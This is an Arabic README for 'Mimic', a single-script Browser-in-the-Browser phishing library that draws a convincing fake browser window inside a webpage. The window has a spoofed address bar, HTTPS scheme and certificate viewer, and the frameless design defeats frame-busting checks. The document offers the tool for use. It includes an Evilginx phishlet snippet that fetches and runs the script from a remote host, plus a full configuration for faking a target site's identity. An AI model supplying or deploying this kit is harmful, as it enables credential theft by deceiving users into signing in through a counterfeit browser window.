
متصفح داخل المتصفح بدون إطارات (BitB) - لا iframes، ولا مشاكل كسر الإطارات. مكتبة بسكربت واحد تعتمد على Shadow DOM / MutationObserver لمحاكاة تصيّد احتيالي واقعية، ويمكن حقنها بسهولة عبر وكيل عكسي (reverse proxy).
متصفح داخل متصفح بلا إطارات (BitB) - بدون iframes، وبدون مشاكل كسر الإطارات. مكتبة بسكربت واحد تعتمد على Shadow DOM / MutationObserver لمحاكاة تصيّد واقعية، ويمكن حقنها بسهولة عبر وكيل عكسي (reverse proxy).
⚠️ تحذير: استخدم هذا البرنامج فقط وفقًا لتشريعاتك الحالية. إساءة استخدام هذا البرنامج يمكن أن تثير قضايا قانونية وأخلاقية لا أدعمها ولا يمكن تحميل مسؤوليتها.
طوّرتُ أنا وMalwareMonster نموذجًا إثباتيًا (proof-of-concept) على هذا المنوال قبل حوالي سبع سنوات، أطلقنا عليه اسم FISHY. أظهر المشروع بنجاح متجه BitB، وإن كانت قابلية الاستخدام محدودة بشكل ملحوظ. بعد ذلك بنحو عامين، لفت mrd0x انتباه مجتمع أبحاث الأمن إلى هذا المفهوم على نطاق أوسع من خلال مشروعه BITB. غير أن الاعتماد الكبير على iframes ثبت أنه غير متوافق مع تقنيات كسر الإطارات الحديثة. ورغم إمكانية استخدام بدائل لإعادة كتابة JavaScript الخاصة بكسر الإطارات، فإن هذا النهج كان مملًا ويتطلب تعديلات مستمرة.
بعدها بنحو عامين، أصدر waelmas مشروع frameless-bitb، الذي قدّم آلية ذكية بشكل خاص. فمن خلال استبدال iframe بـ Shadow DOM مقترن بـ MutationObserver، أعاد عمليًا توجيه محتوى التصيّد إلى div داخل المستند الرئيسي. والأهم من ذلك، أن هذا المحتوى ظل جزءًا من DOM الرئيسي بدلًا من أن يكون داخل إطار معزول. ولأن صفحة التصيّد نفسها ما زالت هي DOM الرئيسي، لم يتم استدعاء إجراءات كسر الإطارات من الأساس. حُلّت بذلك العقبة التقنية الأساسية، ومثّل هذا خطوة مهمة إلى الأمام، وقدّم أساسًا مفاهيميًا متينًا لمزيد من التحسين.
بهذا الابتكار، سلّمنا waelmas الشعلة فعليًا. اعتمد تنفيذه على بنية أكثر توزيعًا، تتطلب تثبيت خدمات، وإعداد Apache، وملفات HTML وCSS وJavaScript منفصلة، وواجهات مستخدم متميزة، واختيار نظام تشغيل ثابت (إما Windows أو macOS) دون كشف ديناميكي للمتصفح. ورغم أن هذه العناصر كانت منطقية نظرًا لطبيعة إثبات المفهوم، أدركنا أن منطق Shadow DOM وMutationObserver الأساسي يمكن عزله وحقنه مباشرة في وكيل Evilginx العكسي لدينا عبر سكربت واحد. وقد مكّننا ذلك من إنتاج مكتبة JavaScript خفيفة وخالية من الاعتماديات (dependency-free) تعرض متصفحًا مزيفًا واقعيًا داخل أي صفحة ويب دون iframes، مع الحفاظ على تقنية الالتفاف الإبداعية التي ابتكرها waelmas في الأصل.
ينشئ Mimic متصفحًا مزيفًا واقعيًا فوق صفحة الويب الحالية، مزودًا بشريط عنوان، وأزرار تحكم بالنافذة، ومعلومات الموقع، وتفاصيل الشهادة، وملفات تعريف الارتباط وبيانات الموقع، والسمات، وتنسيقات خاصة بنظام التشغيل.
بدلًا من تحميل الموقع المستهدف داخل iframe، يأخذ Mimic DOM الموقع الفعلي ويحقنه مباشرة في منفذ عرض المتصفح المزيف.
يعيش المتصفح المزيف نفسه داخل Shadow DOM مفتوح، وهو ما يعزل أنماطه عن الموقع. يبقى الموقع في الـ DOM العادي (light DOM) ويُدرج في المتصفح المزيف عبر:
<slot name="mimic-content"></slot>
إذا لم يتم توفير content، يلتقط Mimic الصفحة الحالية تلقائيًا عن طريق نقل محتوى body الموجود إلى حاوية داخلية. وهو يحافظ على التنسيقات المهمة مثل الخلفية ولون النص والخطوط وحجم الخط وارتفاع السطر قبل حقن الموقع في المتصفح المزيف.
ولأن الموقع يُنقل إلى المتصفح المزيف بدلًا من تضمينه في سياق تصفح آخر، فإنه يظل الصفحة الفعلية ذات المستوى الأعلى.
هذا يعني أن فحوصات كسر الإطارات التقليدية القائمة على iframe مثل:
if (top !== self) {
top.location = self.location;
}
لن يتم تفعيلها، لأن:
top === self
لا يزال الموقع يعتقد أنه يعمل كصفحة ذات مستوى أعلى. وتستمر JavaScript الحالية والأحداث والتخزين والتنقل ومنطق التطبيق في العمل بشكل طبيعي بينما تكون الصفحة محتواة بصريًا داخل المتصفح المزيف.
كما يقوم Mimic تلقائيًا بتحجيم الموقع المحقون ليلائم منفذ عرض المتصفح المزيف. ويتم التعامل مع التمرير عبر ترجمة طبقة المحتوى، بينما تعيد مستمعات تغيير الحجم وMutationObserver قياس المحتوى أثناء تحميل الموقع أو تغيّره.
يمكن أيضًا التحكم في تبويب المتصفح الحقيقي باستخدام documentTitle وdocumentFavicon. يراقب Mimic هاتين القيمتين ويعيدهما إذا حاول الموقع تغييرهما.
Mimic هو تغليف بصري، وليس صندوق رمل (sandbox) لجافاسكربت. يحتفظ الموقع المحقون بإمكانية الوصول إلى واجهات برمجة التطبيقات (APIs) الحقيقية لكل من
windowوdocumentوالتخزين والسجل والتنقل.
أضف هذا إلى YAML الخاص بـ phishlet لحقن Mimic:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
يمكن تغيير الإعدادات مباشرة في CONFIG داخل mimic.js، أو يمكن تمريرها كوسائط عند استدعاء الدالة (openBrowserWindow):
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
التقاط الموقع الحالي وحقنه:
openBrowserWindow();
الفتح بدون صفحة الهبوط:
openBrowserWindow({
landing: false
});
فتح نافذة المتصفح المزيف تلقائيًا:
openBrowserWindow({
autoOpen: true
});
تفعيل وضع التصحيح (تبديل نظام التشغيل والسمة):
openBrowserWindow({
debug: true
});
تجاوز المظهر يدويًا:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
تعيين محتوى نافذة المتصفح المزيف (عنصر، أو محدد، أو سلسلة HTML، أو دالة للحقن في المتصفح المزيف):
openBrowserWindow({
content: '#page-content'
});
| Option | Description |
|---|
domain | النطاق المعروض في شريط العناوين المزيف |
addressText | المسار والاستعلام المعروضان بعد النطاق |
scheme | مخطط URL المعروض |
pageTitle | عنوان نافذة المتصفح المزيف |
favicon | أيقونة المتصفح المزيف |
documentTitle | عنوان تبويب المتصفح الحقيقي |
documentFavicon | أيقونة تبويب المتصفح الحقيقي |
content | عنصر، أو محدد (selector)، أو سلسلة HTML، أو دالة لحقنها في المتصفح المزيف |
contentWidth | العرض الأساسي المستخدم عند تحجيم الموقع المحقون |
windowWidth | عرض المتصفح المزيف |
windowHeight | ارتفاع المتصفح المزيف |
learnMoreUrl | وجهة رابط «معرفة المزيد» الأمني |
siteSettingsUrl | وجهة «إعدادات الموقع» |
cookies | إعدادات ملخص ملفات تعريف الارتباط |
autoOpen | يفتح المتصفح المزيف تلقائيًا عند إنشاء صفحة الهبوط |
os | null أو mac أو windows أو linux؛ مع null يتم الكشف التلقائي |
theme | auto أو light أو dark |
debug | يعرض مبدّل نظام التشغيل والسمة (الوضع الداكن/الفاتح) |
onClose | دالة تُستدعى عند إغلاق المتصفح المزيف |
landing | تفعيل صفحة الهبوط أو تعطيلها أو استبدالها |
enterSelector | محدد عنصر الهبوط الذي يفتح المتصفح المزيف |
siteData | يضبط حوار بيانات الموقع المخزنة على الجهاز |
certificate | يضبط عارض الشهادة |